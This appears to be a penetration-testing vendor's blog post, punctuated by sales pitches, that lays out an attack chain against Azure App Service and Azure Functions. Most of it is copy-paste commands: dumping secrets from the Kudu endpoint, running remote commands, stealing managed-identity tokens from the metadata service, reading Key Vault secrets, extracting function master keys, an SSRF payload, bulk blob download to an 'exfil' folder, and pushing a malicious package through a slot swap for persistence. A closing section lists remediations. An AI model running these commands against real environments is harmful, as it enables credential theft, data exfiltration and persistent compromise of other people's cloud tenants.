Microsoft Azure powers a significant portion of the world's enterprise cloud infrastructure. Among its most widely deployed services are Azure App Service and Azure Functions, platforms that allow teams to host web applications and run serverless code without managing the underlying compute. Their ease of use is precisely what makes them dangerous in the wrong hands. Developers move fast, defaults get left in place, and security reviews happen late or not at all.
The result is an environment where misconfigurations, over-privileged identities, exposed secrets, and insecure deployment artifacts create a reliable attack path for anyone who knows where to look. This guide breaks down the real techniques attackers use against these services, the specific commands that expose weaknesses, and the steps organizations can take to understand their own risk.
If your organization runs workloads on Azure App Service or Azure Functions and has never had them professionally tested, your exposure is unknown. Redfox Cybersecurity provides cloud-focused penetration testing engagements built around exactly these attack paths. Start there before an attacker does.
Azure App Service is a managed platform for hosting web applications, APIs, and backend services. It abstracts away infrastructure but does not abstract away security responsibility. Organizations misconfigure it constantly, and those misconfigurations tend to be impactful.
The most critical exposure points include the Kudu deployment interface, application settings that store secrets in plaintext, misconfigured managed identities, and insecure virtual path configurations. Each of these represents a distinct attack path that can be chained together for deeper access into an Azure environment.
Azure Functions introduces an additional layer of complexity because developers often treat serverless as inherently isolated. It is not. Functions deployed on a Consumption or App Service Plan share underlying infrastructure with other services, inherit the same identity context as their parent App Service, and are subject to the same configuration weaknesses.
The key differences that make Functions particularly attractive to attackers are the authorization level defaults, the abundance of sensitive bindings that connect functions to storage accounts and databases, and the frequency with which developers embed credentials directly in function code during prototyping and never remove them.
Attackers begin by mapping the organization's external Azure footprint. Certificate transparency logs, passive DNS, and subdomain enumeration tools reliably surface azurewebsites.net domains associated with a target.
subfinder -d targetorganization.com -silent | grep azurewebsites.net
amass enum -passive -d targetorganization.com | grep azurewebsites.net
[cta]
Once candidate endpoints are identified, HTTP fingerprinting confirms the underlying runtime and platform:
curl -I https://targetapp.azurewebsites.net
[cta]
Headers such as X-Powered-By: ASP.NET, Server: Kestrel, or X-Azure-Ref confirm an App Service deployment. The presence of a /.auth/ path further indicates Azure Easy Auth is or is not enabled.
Every Azure App Service has a companion Kudu service control manager endpoint at https://<appname>.scm.azurewebsites.net. This interface exposes the deployment engine, environment variable browser, a process explorer, and a fully functional web-based terminal. It is protected by Azure AD authentication by default, but that protection is frequently bypassed through leaked credentials, weak access controls, or publish profile exposure in public repositories.
curl -s https://targetapp.scm.azurewebsites.net
[cta]
A login redirect confirms authentication is enforced. A direct response exposing the Kudu UI means the endpoint is accessible without valid credentials, which is a critical finding on its own.
Publish profiles are XML files containing the deployment username and password for an App Service. Developers frequently commit these to public repositories, attach them to ticketing systems, or leave them in shared drives.
grep -r "publishProfile" . --include="*.xml" --include="*.pubxml"
trufflehog github --org=targetorganization --only-verified
[cta]
A recovered publish profile provides immediate authenticated access to the Kudu endpoint and everything it exposes.
Your Azure environment may already be leaking credentials through public repositories and misconfigured services. Redfox Cybersecurity's penetration testing team performs full external reconnaissance as part of every cloud assessment to find these exposures before attackers do.
Application settings defined in the Azure portal are injected into the App Service runtime as environment variables. These commonly contain database connection strings, storage account keys, third-party API credentials, and internal service tokens. When Kudu access is available, the /api/settings endpoint returns all of them in plaintext JSON.
curl -s -u "deploymentUser:\$Pa55word" \
https://targetapp.scm.azurewebsites.net/api/settings \
| python3 -m json.tool
[cta]
A successful response typically looks like:
{
"SQLAZURECONNSTR_DefaultConnection": "Server=tcp:prodserver.database.windows.net;...",
"STORAGE_ACCOUNT_KEY": "abcdefghijklmnop...",
"THIRD_PARTY_API_SECRET": "sk_live_xxxxxxxxxxx"
}
[cta]
Each value here represents a direct pivot to another resource. A storage account key alone can expose terabytes of data.
With authenticated Kudu access, the web console endpoint provides direct file system access to the deployed application:
curl -s -X POST \
-u "deploymentUser:\$Pa55word" \
-H "Content-Type: application/json" \
-d '{"command": "cat /home/site/wwwroot/appsettings.json", "dir": "/"}' \
https://targetapp.scm.azurewebsites.net/api/command
[cta]
This retrieves configuration files that may contain additional secrets not visible in the Azure portal, including connection strings defined in code rather than in app settings.
Azure App Services and Functions assigned a managed identity can query the Instance Metadata Service to retrieve short-lived access tokens. If an attacker gains code execution on the service, whether through a vulnerability in the application or through Kudu console access, the IMDS becomes an immediate escalation path.
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| python3 -m json.tool
[cta]
A successful response returns an access_token that is valid for the Azure Resource Manager API, scoped to whatever roles the managed identity has been assigned.
curl -s -H "Authorization: Bearer <ACCESS_TOKEN>" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" \
| python3 -m json.tool
curl -s -H "Authorization: Bearer <ACCESS_TOKEN>" \
"https://management.azure.com/subscriptions/<SUB_ID>/resources?api-version=2021-04-01" \
| python3 -m json.tool
[cta]
The scope of what an attacker can now access depends entirely on what role the managed identity holds. In environments where Contributor or Owner has been assigned for convenience, this token provides full control over the subscription.
Azure Key Vault is the intended home for sensitive credentials in Azure, but it is only as secure as the permissions assigned to identities that can access it. A managed identity with Key Vault Secrets User or higher can retrieve every secret stored there:
curl -s -H "Authorization: Bearer <KV_ACCESS_TOKEN>" \
"https://targetkeyvault.vault.azure.net/secrets?api-version=7.4" \
| python3 -m json.tool
curl -s -H "Authorization: Bearer <KV_ACCESS_TOKEN>" \
"https://targetkeyvault.vault.azure.net/secrets/ProductionDbPassword/current?api-version=7.4" \
| python3 -m json.tool
[cta]
This is a high-impact, low-noise attack path. The access is authenticated, leaves minimal anomalous indicators, and often yields credentials for production databases, certificate private keys, and third-party service accounts.
Managed identity abuse is one of the most underestimated attack paths in Azure. If your identities hold more permissions than the workloads actually need, you have a privilege escalation problem waiting to be exploited. Book a cloud penetration test with Redfox Cybersecurity to find out exactly what an attacker could reach.
Azure Functions support three authorization levels for HTTP triggers: Anonymous, Function, and Admin. Anonymous functions require no key or authentication and are accessible to anyone. They are common in development and frequently promoted to production without change.
curl -s https://targetfunctionapp.azurewebsites.net/api/getUserData
[cta]
A 200 OK with data confirms an unauthenticated function. Fuzzing for additional function names surfaces more:
ffuf -u https://targetfunctionapp.azurewebsites.net/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,301,302,403 \
-t 50
[cta]
The Azure Functions admin API at /admin/host/keys returns all host keys when accessed with the master key. If the master key is obtained through application settings exposure or Kudu access, every function key in the app can be extracted:
curl -s "https://targetfunctionapp.azurewebsites.net/admin/host/keys" \
-H "x-functions-key: <MASTER_KEY>" \
| python3 -m json.tool
[cta]
With a valid function key, an attacker can invoke any function in the app regardless of its individual authorization level, trigger business logic operations, and potentially influence data flows to connected services.
Functions that make outbound HTTP requests based on user-supplied input are vulnerable to server-side request forgery. This is particularly impactful in Azure because the IMDS is reachable from within the function execution environment. An attacker who can redirect an outbound request to the metadata endpoint retrieves the managed identity token without needing any other form of access.
curl -s -X POST \
"https://targetfunctionapp.azurewebsites.net/api/fetchContent" \
-H "Content-Type: application/json" \
-d '{
"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
"headers": {"Metadata": "true"}
}'
[cta]
If the function returns the response body, the token is exfiltrated in a single request.
Storage account keys recovered from application settings or Key Vault provide complete access to blob containers, file shares, queues, and tables. Enumeration and bulk download are straightforward with the Azure CLI:
az storage container list \
--account-name targetstorageaccount \
--account-key "RECOVERED_KEY==" \
--output table
az storage blob download-batch \
--source backups \
--destination ./exfil \
--account-name targetstorageaccount \
--account-key "RECOVERED_KEY=="
[cta]
Azure App Service deployment slots are used for staging and blue-green deployments. Attackers with deployment credentials can push malicious code to a staging slot and trigger a slot swap to promote it to production:
az webapp deployment source config-zip \
--resource-group targetRG \
--name targetapp \
--slot staging \
--src ./malicious-package.zip
az webapp deployment slot swap \
--name targetapp \
--resource-group targetRG \
--slot staging \
--target-slot production
[cta]
This establishes persistent code execution that survives routine redeployment of the legitimate application, since the swap itself becomes the new deployment baseline.
With a Contributor-level token, an attacker maps the entire subscription to identify additional pivot targets:
az resource list \
--output table \
--query "[].{Name:name, Type:type, RG:resourceGroup}"
[cta]
From here, the attack can expand to virtual machines, Azure SQL databases, Cosmos DB instances, Service Bus namespaces, and any other resource accessible to the compromised identity.
The attack paths covered in this blog are not exotic. They rely on a consistent set of misconfigurations that appear in Azure environments across industries and organization sizes.
Unrestricted Kudu access is the most impactful single misconfiguration. The SCM endpoint should have IP-based access restrictions applied in every environment, not just production.
Managed identity over-permissioning is endemic. Teams assign broad roles for convenience during development and never revisit them. Every managed identity should hold only the permissions required for its specific workload, verified through regular access reviews.
Secrets stored in application settings rather than Key Vault references expose credentials to anyone with Kudu access or the ability to read app configuration through the management API. Key Vault references are a native, zero-code-change alternative.
Anonymous function authorization levels left in production are one of the simplest wins for attackers. Automated scanning tools identify these within minutes of initial reconnaissance.
Disabled or absent authentication on staging and development slots is a persistent gap. These slots are often publicly routable and share the same infrastructure and identity configuration as production.
The techniques in this blog represent a realistic attack chain, not a theoretical exercise. Each step connects directly to the next, and the full chain from initial reconnaissance to data exfiltration can be completed in a matter of hours against a poorly configured Azure environment.
Security teams that have not subjected their Azure App Service and Functions deployments to adversarial testing are operating with unknown exposure. The question is not whether these misconfigurations exist in your environment. The question is whether you find them first.
Redfox Cybersecurity delivers structured cloud penetration testing engagements that simulate these attack chains in full, from external reconnaissance through post-exploitation, with detailed findings mapped to business impact and prioritized remediation guidance your team can act on immediately.
Whether you are preparing for a compliance audit, responding to a security incident, or building out a proactive security program, a professional assessment of your Azure environment gives you the evidence you need to close the gaps that matter most. Contact Redfox Cybersecurity today and find out what an attacker would find before they get the opportunity.